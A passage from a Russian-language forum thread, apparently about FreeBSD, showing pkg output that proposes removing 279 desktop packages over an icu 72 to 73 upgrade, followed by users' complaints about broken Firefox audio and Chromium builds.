    cairomm: 1.12.2_6
    caja: 1.26.1_1
    caja-extensions: 1.26.0_3
    chromium: 111.0.5563.147
    clutter: 1.26.4_1
    clutter-gtk3: 1.8.4_2
    cogl: 1.22.8_1
    consolekit2: 1.2.4_3
    dconf: 0.40.0_3
    dia: 0.97.3_4,1
    engrampa: 1.26.0_1
    eom: 1.26.0_3
    fbreader: 0.99.6_6
    firefox: 112.0_1,2
    five-or-more: 3.32.3_1
    galculator: 2.1.4_2
    garcon: 4.18.1
    gcr: 3.40.0_1
    gdk-pixbuf-xlib: 2.40.2_1
    gdk-pixbuf2: 2.42.10
    gftp: 2.7.0b_1
    gnome-chess: 43.0_1
    gnome-klotski: 3.38.2_1
    gnome-mahjongg: 3.38.3_1
    gnome-mines: 40.1_1
    gnome-nibbles: 3.38.2_2
    gnome-sudoku: 42.0_1
    gnome-tetravex: 3.38.2_1
    gpgme-qt5: 1.18.0
    gssdp14: 1.4.1_1
    gstreamer1-libav: 1.20.5
    gstreamer1-plugins: 1.22.0
    gstreamer1-plugins-a52dec: 1.22.0
    gstreamer1-plugins-bad: 1.22.0
    gstreamer1-plugins-core: 1.20.5
    gstreamer1-plugins-dts: 1.22.0
    gstreamer1-plugins-dvdread: 1.22.0
    gstreamer1-plugins-faad: 1.22.0
    gstreamer1-plugins-flac: 1.22.0
    gstreamer1-plugins-good: 1.22.0
    gstreamer1-plugins-mpg123: 1.22.0
    gstreamer1-plugins-ogg: 1.22.0
    gstreamer1-plugins-pango: 1.22.0
    gstreamer1-plugins-png: 1.22.0
    gstreamer1-plugins-resindvd: 1.22.0
    gstreamer1-plugins-rtmp: 1.22.0
    gstreamer1-plugins-soup: 1.22.0
    gstreamer1-plugins-theora: 1.22.0
    gstreamer1-plugins-ugly: 1.22.0
    gstreamer1-plugins-vorbis: 1.22.0
    gstreamer1-plugins-wavpack: 1.22.0
    gstreamer1-plugins-x: 1.22.0
    gtk-doc: 1.33.2_2
    gtk-engines2: 2.20.2_4
    gtk-layer-shell: 0.8.0_1
    gtk-murrine-engine: 0.98.2_6
    gtk-update-icon-cache: 3.24.31
    gtk-xfce-engine: 3.2.0_1
    gtk2: 2.24.33_1
    gtk3: 3.24.34_1
    gtk4: 4.10.1
    gtkmm30: 3.24.2_3
    gtksourceview3: 3.24.11_3
    gtksourceview4: 4.8.3_1
    gupnp14: 1.4.4_1
    gvfs: 1.50.2_1
    harfbuzz-icu: 7.1.0
    itstool: 2.0.7
    kf5-attica: 5.104.0
    kf5-extra-cmake-modules: 5.104.0
    kf5-karchive: 5.104.0
    kf5-kauth: 5.104.0
    kf5-kbookmarks: 5.104.0
    kf5-kcodecs: 5.104.0
    kf5-kcompletion: 5.104.0
    kf5-kconfig: 5.104.0
    kf5-kconfigwidgets: 5.104.0
    kf5-kcoreaddons: 5.104.0
    kf5-kcrash: 5.104.0
    kf5-kdbusaddons: 5.104.0
    kf5-kded: 5.104.0
    kf5-kdoctools: 5.104.0
    kf5-kglobalaccel: 5.104.0
    kf5-kguiaddons: 5.104.0
    kf5-ki18n: 5.104.0
    kf5-kiconthemes: 5.104.0_1
    kf5-kio: 5.104.0
    kf5-kitemmodels: 5.104.0
    kf5-kitemviews: 5.104.0
    kf5-kjobwidgets: 5.104.0
    kf5-knotifications: 5.104.0
    kf5-kservice: 5.104.0
    kf5-ktextwidgets: 5.104.0
    kf5-kwallet: 5.104.0
    kf5-kwidgetsaddons: 5.104.0
    kf5-kwindowsystem: 5.104.0
    kf5-kxmlgui: 5.104.0
    kf5-solid: 5.104.0
    kf5-sonnet: 5.104.0
    krita: 5.1.5_6
    kseexpr: 4.0.4.0
    libabw: 0.1.3_3
    libadwaita: 1.3.1
    libcanberra-gtk3: 0.30_8
    libcdr01: 0.1.7_4
    libcmis: 0.5.2_7
    libdbusmenu: 16.04.0_7
    libdbusmenu-qt5: 0.9.3.160420160218_13
    libe-book: 0.1.3_26
    libetonyek01: 0.1.10_6,1
    libexo: 4.18.0_1
    libglade2: 2.6.4_13
    libgnome-games-support: 1.8.2_1
    libgsf: 1.14.50
    libheif: 1.15.2
    libixion: 0.17.0_3
    libjxl: 0.8.1
    liblangtag: 0.6.4
    liblrdf: 0.6.1
    libmatekbd: 1.26.0_1
    libmateweather: 1.26.0_3
    libmspub01: 0.1.4_22
    libnotify: 0.8.2
    libodfgen01: 0.1.8_2
    liborcus: 0.17.2_3
    libpeas: 1.34.0_1
    libplacebo: 5.264.1
    libqxp: 0.0.0_22
    libreoffice: 7.5.2.2
    librsvg2-rust: 2.56.0
    libsecret: 0.20.5_1
    libsoup: 2.74.3
    libsoup3: 3.2.2
    libunique: 3.0.2_4
    libva-utils: 2.18.1
    libvisio01: 0.1.7_10
    libwnck3: 3.36.0_1
    libwpd010: 0.10.3_7
    libwpg03: 0.3.3_1
    libxfce4menu: 4.18.3
    libxkbcommon: 1.5.0
    libxklavier: 5.3_3,1
    libxml++: 2.40.1_2,1
    libxml2: 2.10.3_1
    libxslt: 1.1.37
    libzmf: 0.0.2_27
    llvm13: 13.0.1_3
    marco: 1.26.0_1
    mate-calc: 1.26.0_3
    mate-control-center: 1.26.0_4
    mate-desktop: 1.26.0_1
    mate-media: 1.26.0_4
    mate-panel: 1.26.2_1,1
    mate-polkit: 1.26.0_1
    mate-session-manager: 1.26.0_3
    mate-settings-daemon: 1.26.0_2
    mate-system-monitor: 1.26.0_3
    mate-terminal: 1.26.0_1
    mate-themes: 3.22.23_1
    mate-utils: 1.26.0_2
    mesa-dri: 22.3.7_1
    mesa-libs: 22.3.7_1
    minixmlto: 0.0.7
    mousepad: 0.6.0_1
    mozo: 1.26.1_1
    mpv: 0.35.1_2,1
    mtpaint: 3.50.09_2
    node: 18.12.1
    node18: 18.15.0
    nvidia-driver-390: 390.154
    nvidia-settings: 470.86_1
    pangomm: 2.40.1_6
    parole: 4.18.0_1
    phonon-qt5: 4.11.1
    plasma-wayland-protocols: 1.10.0
    pluma: 1.26.0_4
    polkit-qt-1: 0.114.0
    poppler: 23.03.0
    poppler-glib: 23.03.0
    poppler-qt5: 23.03.0
    py311-libxml2: 2.10.3
    py311-lxml: 4.9.2
    qca-qt5: 2.3.5
    qt5-assistant: 5.15.8p1
    qt5-concurrent: 5.15.8p157
    qt5-core: 5.15.8p157
    qt5-dbus: 5.15.8p157
    qt5-declarative: 5.15.8p21
    qt5-designer: 5.15.8p1
    qt5-gui: 5.15.8p157
    qt5-help: 5.15.8p1
    qt5-linguisttools: 5.15.8p1
    qt5-location: 5.15.8p3
    qt5-multimedia: 5.15.8p1
    qt5-network: 5.15.8p157
    qt5-opengl: 5.15.8p157
    qt5-printsupport: 5.15.8p157
    qt5-quickcontrols: 5.15.8p0
    qt5-script: 5.15.11p0
    qt5-sensors: 5.15.8p0
    qt5-serialport: 5.15.8p0
    qt5-sql: 5.15.8p157
    qt5-sqldrivers-sqlite3: 5.15.8p157
    qt5-svg: 5.15.8p8
    qt5-testlib: 5.15.8p157
    qt5-uiplugin: 5.15.8p1
    qt5-uitools: 5.15.8p1
    qt5-wayland: 5.15.8p57
    qt5-webchannel: 5.15.8p3
    qt5-webengine: 5.15.8
    qt5-webkit: 5.212.0.a4_11
    qt5-widgets: 5.15.8p157
    qt5-x11extras: 5.15.8p0
    qt5-xml: 5.15.8p157
    qt5-xmlpatterns: 5.15.8p0
    quadrapassel: 40.2_1
    quazip-qt5: 1.4_1
    raptor2: 2.0.16
    rasqal: 0.9.33_1
    redland: 1.0.17_4
    ristretto: 0.13.0_1
    ru-libreoffice: 7.5.2.2
    sane-backends: 1.1.1_13
    sdl2: 2.26.5
    shared-mime-info: 2.2_1
    slim: 1.3.6_22
    soci: 4.0.3_4
    tali: 40.8_1
    thunar: 4.18.4_1
    thunar-archive-plugin: 0.5.1
    thunderbird: 102.10.0_1
    vala: 0.56.4,1
    volumeicon: 0.5.1_2
    vte3: 0.70.2_1
    vulkan-loader: 1.3.247
    wayland: 1.22.0
    xf86-input-keyboard: 1.9.0_5
    xf86-input-libinput: 1.3.0
    xf86-input-mouse: 1.9.3_4
    xf86-video-vesa: 2.5.0_2
    xfce: 4.18
    xfce4-appfinder: 4.18.0_1
    xfce4-desktop: 4.18.1_1
    xfce4-netload-plugin: 1.4.0_1
    xfce4-notifyd: 0.8.2_1
    xfce4-panel: 4.18.3
    xfce4-screenshooter-plugin: 1.10.3_1
    xfce4-session: 4.18.2
    xfce4-settings: 4.18.2_1
    xfce4-systemload-plugin: 1.3.2_1
    xfce4-taskmanager: 1.5.5_1
    xfce4-terminal: 1.0.4_1
    xfce4-tumbler: 4.18.0_1
    xfce4-weather-plugin: 0.11.0_3
    xfce4-wm: 4.18.0_1
    xkeyboard-config: 2.34_2
    xmlsec1: 1.2.37
    xorg-drivers: 7.7_7
    xorg-minimal: 7.5.2_3
    xorg-server: 21.1.8,1
    xscreensaver: 6.06_1
    yelp-tools: 42.0
    yelp-xsl: 42.0
    zenity: 3.42.1_1

Installed packages to be UPGRADED:
    icu: 72.1,1 -> 73.1,1

Installed packages to be DOWNGRADED:
    libva: 2.18.0 -> 2.16.0

Installed packages to be REINSTALLED:
    lv2-1.18.4_1 (direct dependency changed: py39-rdflib)

Number of packages to be removed: 279
Number of packages to be upgraded: 1
Number of packages to be reinstalled: 1
Number of packages to be downgraded: 1

The operation will free 4 GiB.

Proceed with this action? [y/N]:

Вот так, весь десктоп под снос ради "icu: 72.1,1 -> 73.1,1". :D))

>> И все работает.
> У меня всё ещё смешнее:

Фигасе, фигня какая-то)

Обновились firefox-112.0.1_1,2 и thunderbird-102.10.0_2.
Но в Firefox отсутствует звук в видеороликах на Youtube.
При этом Aqualung нормально воспроизводит звуковые файлы из каталога файловой системы.

> Ничего не починили — для сборки пакетов сборки thunderbird и firefox требуется
> библиотека libicui18n.so.72 (от предыдущей версии icu). Так что опять — облом.

Пару лет назад перешел на квартальную репу вместо "свежатинки" роллинга (как итог - сборку своих пакетов почти совсем забросил, осталась только мелочь и старые версии софта), все нормально работает и обновляется.

> Chromium не собирается. Firefox перестал воспроизводить звук на видео. Как так-то?!

Все идет по плану.